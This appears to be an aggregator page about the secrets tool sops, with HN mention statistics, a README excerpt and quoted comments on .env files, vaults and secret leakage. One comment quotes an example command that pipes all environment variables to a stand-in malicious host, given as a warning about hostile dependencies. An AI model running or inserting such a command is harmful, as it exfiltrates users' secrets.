> You need some way to pass secrets to the app
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
I like sops: https://github.com/getsops/sops
In The Twelve-Factor Appgetsops
sops
Go2015–2026
getsops / sops
sops
Simple and flexible tool for managing secrets
81Distinct people
95Mentions
2Explicit recommenders
23.7KGitHub stars
What to know before exploring
What it is
Simple and flexible tool for managing secrets
GitHub
Where it is used
No documented product use was verified in the last source check.
What people are saying
I recommend against with using secrets managers as opposed to config files for storing configuration. Ideally, your configuration is versioned and code-reviewed. Config files…
xvector used a recommendation phrase. 2 indexed comments match. This is a phrase match, not a verdict.
No classified warning is attached to this page. Read the discussions before treating silence as approval.
Also in these discussions
- agwa/git-crypt · linked in 4 of the same discussions
- filosottile/age · linked in 2 of the same discussions
Mentioned in the same Hacker News threads. That is not proof they are substitutes.
This week on Hacker News
Nov 7–Nov 14 UTC · Direct repository links and separately labeled related project stories. Indexed through 11/14/2026, 12:54:37 PM UTC.
No direct repository links were found in the indexed HN discussions over the past seven days. Older discussions are available below.
Mentions over time
HN mentions by year95 dated mentions
Observed mentions: 2015-11-01 16:14:34 UTC to 2026-08-28 16:57:09 UTC.
* An incomplete calendar period is marked with an outlined bar. Its count is not directly comparable with a full period.
Counts come from the repository’s dated source evidence. Index cutoff: 2026-11-02 08:16:59 UTC.
View mention counts and date ranges
| Period | Start (UTC) | End (exclusive, UTC) | Mentions | Submissions | Comments |
|---|---|---|---|---|---|
| 2015 | 2015-01-01 00:00:00 UTC | 2016-01-01 00:00:00 UTC | 4 | 2 | 2 |
| 2016 | 2016-01-01 00:00:00 UTC | 2017-01-01 00:00:00 UTC | 4 | 1 | 3 |
| 2017 | 2017-01-01 00:00:00 UTC | 2018-01-01 00:00:00 UTC | 5 | 2 | 3 |
| 2018 | 2018-01-01 00:00:00 UTC | 2019-01-01 00:00:00 UTC | 6 | 1 | 5 |
| 2019 | 2019-01-01 00:00:00 UTC | 2020-01-01 00:00:00 UTC | 1 | 0 | 1 |
| 2020 | 2020-01-01 00:00:00 UTC | 2021-01-01 00:00:00 UTC | 14 | 2 | 12 |
| 2021 | 2021-01-01 00:00:00 UTC | 2022-01-01 00:00:00 UTC | 4 | 1 | 3 |
| 2022 | 2022-01-01 00:00:00 UTC | 2023-01-01 00:00:00 UTC | 9 | 2 | 7 |
| 2023 | 2023-01-01 00:00:00 UTC | 2024-01-01 00:00:00 UTC | 15 | 1 | 14 |
| 2024 | 2024-01-01 00:00:00 UTC | 2025-01-01 00:00:00 UTC | 16 | 0 | 16 |
| 2025 | 2025-01-01 00:00:00 UTC | 2026-01-01 00:00:00 UTC | 9 | 2 | 7 |
| 2026 (partial) | 2026-01-01 00:00:00 UTC | 2027-01-01 00:00:00 UTC | 8 | 0 | 8 |
From the project README
An excerpt from the repository, fetched Nov 13, 2026.
Read the project’s introduction
SOPS: Secrets OPerationS
SOPS is an editor of encrypted files that supports YAML, JSON, ENV, INI and BINARY
formats and encrypts with AWS KMS, GCP KMS, Azure Key Vault, HuaweiCloud KMS, age, and PGP.
(demo)
Documentation
You can find the SOPS documentation on getsops.io under "Docs".
Security
Please report any security issues privately using GitHub's advisory form.
License
Mozilla Public License Version 2.0
Authors
SOPS was initially launched as a project at Mozilla in 2015 and has been
graciously donated to the CNCF as a Sandbox project in 2023, now under the
stewardship of a new group of maintainers.
The original authors of the project were:
Adrian Utrilla @autrilla
Julien Vehent @jvehent
Furthermore, the project has been carried for a long time by AJ Bahnken @ajvb,
and had not been possible without the contributions of numerous contributors.
Credits
SOPS was inspired by hiera-eyaml,
credstash,
sneaker,
password store and too many years managing
PGP encrypted files by hand...
We are a Cloud Native Computing Foundation sandbox project.
Read the full README on GitHubWhat Hacker News says
95 sourcesMy issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and re
Read the rest
trieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
[1] https://github.com/getsops/sops
I’ve been using sops: https://github.com/getsops/sops
In Get your passwords out of Bitwarden while you still canGreat timing, I was just getting frustrated about this today. I've got a pyinfra secrets.py and another project with an .env for logins for grabbing and moving data. I use LLMs on both of them extensively (having an LLM setup all my proxmox VMs and LXC containers and configure them without doing that yak shaving has been amazing.)
It would be nice to use something like SOPS[1] + age right from the start, so I don't feel like I need to go rotate all those keys.
It's one thing to have it stored locally on your own box, and another to have it off in the training data of a hugely-overvalued gigantic corporation that's going to do anything it can to survive in the coming years.
[1] https://github.com/getsops/sops
In Sieve – scans Cursor/Claude chat history for leaked API keysI thought SOPS with age is what we were doing now. Do we need yet another tooling?
https://github.com/getsops/sops
In Scrt: A CLI secret manager for developers, sysadmins and DevOpsReally depends on your threat model and use case. The problems with .env files: plain text on disk, no access control, no rotation mechanism, no audit trail, trivial to leak accidentally, secrets go into env variables (which are exposed and often leak). Which of those do you care about? What are you trying to prevent?
At the simplest level, keeping .env-ish files, use sops + age [1] or dotenvx [2] (or similar) to encrypt just the values. You keep the .env file approach, the actual secrets are encrypted, and now you can check the file in and track changes without leaking your secrets. You still have the env variable problems.
There are some options that'll use virtual files to get your secrets from a vault to your process's env variables, or you can read the secrets from a secret manager yourself into env variables, but that feels like mor
Read the rest
e complexity without a lot more gain to me. YMMV.
You could use a regular password manager (your OS's keychain, 1Password and its ilk, etc) if you're just working on your own. Also in the more complexity without much gain category for me.
If you want to use a local file on disk, you could use a config file with locked down permissions, so at least it's not readable by anything that comes along. ssh style.
Better is to have your code (because we're talking about your code, I assume) read from secret managers itself. Whether that's Bitwarden, AWS / GCP / Azure (well, maybe not Azure), Hashicorp, or one of the many other enterprisey options. That way you get an audit trail and easy rotation, plus no env variables and no plain text at rest. You can still leak them, but you have fewer ways to do so.
Speaking of leaking accidentally, the two most common paths: Logging output and Docker files. The first is self explanatory, though don't forget about logging HTTP requests with auth headers that you don't want exposed. The second is missed by a lot of people. If you inject secrets into your Dockerfile via `ARG` or `ENV` that gets baked into the image and is easy to get back out. Use `--mount-type=secret` etc. (Never use the old Docker base64 stored secrets in config. That's just silly.)
There are other permutations and in-between steps, these are just the big ones. Like all security stuff, the details really depend on your specific needs. It is easy to say, though, that plain text .env files injected into env variables are at the bad end of the spectrum. Passing the secrets in as plain text args on the command line is worse, so at least you're not doing that!
1: https://github.com/getsops/sops / https://github.com/FiloSottile/age
2: https://dotenvx.com
https://github.com/getsops/sops
This software has done this for years
In Show HN: enveil – hide your .env secrets from prAIng eyesAt the moment I'm just using "sops" [1]. I have my env var files encrypted uth AGE encryption. Then I run whatever I want to run with "sops exec-env ...", it's basically forwarding the secrets to your program.
I like it because it's pretty easy to use, however it's not fool-proof: if the editor which you use for editing the env vars is crashing or killed suddently, it will leave a "temp" file with the decrypted vars on your computer. Also, if this same editor has AI features in it, it may read the decrypted vars anyways.
- [1]: https://github.com/getsops/sops
In Using proxies to hide secrets from Claude CodeSOPS reduces the surface area you need to cover. You can use Age as a backend and then you only need a long lived private key on the server. https://github.com/getsops/sops
In Home Depot GitHub token exposed for a year, granted access to internal systemsI think parent is referring to something like SOPS [0], which can pass secrets via FIFO. That way, there’s nothing on disk, the pipe is cleared after first read, and /proc/cmdline doesn’t reveal anything.
0: https://github.com/getsops/sops
In Environment variables are a legacy mess: Let's dive deep into themSOPS can be part of the solution. It takes care of encrypting and decrypting config files.
https://github.com/getsops/sops
In Environment variables are a legacy mess: Let's dive deep into themSOPS is an editor of encrypted files
2 points · Open discussionYes, SOPS does have `exec-env` which does the same thing, kind of. From one of the issues, it currently lacks support for the POSIX-semantic way to run commands: https://github.com/getsops/sops/issues/1469, where you cannot add a `--` to tell sops that everything after it is supposed to be a command, so you end up having to quote everything. Other things that I found lacking were that with SOPS, adding a new team member means manually updating .sops.yaml, re-encrypting all files, and managing PGP/age keys. With kiln, you just add their SSH key to kiln.toml and run `kiln rekey`.
kiln also lets you have different access controls per environment file (devs get staging, only ops get production) without separate .sops.yaml configs, automatically discovers keys from SSH agent/~/.kiln/, and has built-in template rendering and export formats for
Read the rest
different tools. You could definitely build similar workflows with SOPS + scripts, or any other tool, but kiln packages these common patterns into a single tool with better UX for teams.
Think of kiln as "opinionated SOPS", focused specifically on environment variables rather than general file encryption.
Do not encrypt comments in SOPS
3 points · Open discussionYou might be interested in sops: https://github.com/getsops/sops
In Show HN: Lnk – Git-native dotfiles managerShowing the 15 most recent of 95 sources. Enable JavaScript to search and browse every indexed mention.